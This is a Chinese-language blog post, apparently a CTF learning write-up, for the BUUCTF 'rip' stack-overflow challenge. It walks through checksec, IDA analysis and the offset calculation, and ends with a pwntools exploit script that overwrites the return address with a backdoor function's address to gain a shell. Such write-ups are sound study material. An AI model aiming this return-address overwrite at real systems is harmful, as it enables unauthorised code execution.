PWN学习之RIP
学了了一时间汇编后,恰好我同学也找到我,我们俩一起研究了一下pwn的入门题,在折腾了两个小时之后,终于搞懂了这个,于是学习实践过后还得验证,加深一下记忆,于是我找到了https://buuoj.cn/challenges#rip 决定做点题,练练手
初窥门径
这是一道栈溢出的pwn题目,关于这道题中的栈溢出,我个人的理解是,当你传入一个字符或者字符串时,调用了危险的函数如gets()等,未对字符串长度进行检验,我们就可以传入特定长度的字符串,这个字符串会溢出栈,恰好到达return的长度,然后后面接一个后门函数的地址,如果后门函数里调用了system("/bin/bahs"),就可以执行命令
首先checksec一下,看看pwn1有没有开启保护机制,checksec的安装步骤可以参考https://blog.csdn.net/qq_43430261/article/details/105516051这篇博客
可见此处未开启任何保护
将pwn拖入IDA
然后按一下F5可以看到伪代码
这里调用了gets(),可以栈溢出利用,然后旁边还有一个不太正常的函数fun(),点开
这就是后门函数了,此时就需要进行偏移量的计算,计算出s的长度,双击伪代码里的s,可以看到char s的栈调用信息
然后这个长度就该是 高位地址-地位地址:+0x08-(-0x0F)=23,
payload这部分就该是 b'a'23+p64(fun),然而实际远程调试的偏移长度是应该15p64(fun)或者23*p64(fun_address+1),我在网上找了很多文章,很少有提到这个问题的,我觉得很多人只是单纯的抄袭,也没有进行实操,这在学习中是很不好的,后来我看到了一篇文章,解释了造成改现象是因为程序堆栈平衡,可以看一下这篇文章:https://blog.51cto.com/u_15127578/3315397
EXP
所以最终的exp代码如下
from pwn import *
p=process('/root/ida_server/pwn1') #启动一个pwn1的进程
p =remote('node4.buuoj.cn',29764) #参数为ip和端口
fun=0x40118A #后门函数内存地址
payload = ("a"*23).encode()+p64(fun)
#payload=('a'*15).encode()+p64(fun) # fun = 0x401
p.sendline(payload)
p.interactive()
堆栈平衡暂时还没学到,等以后再写文章进行分析吧
Comments | NOTHING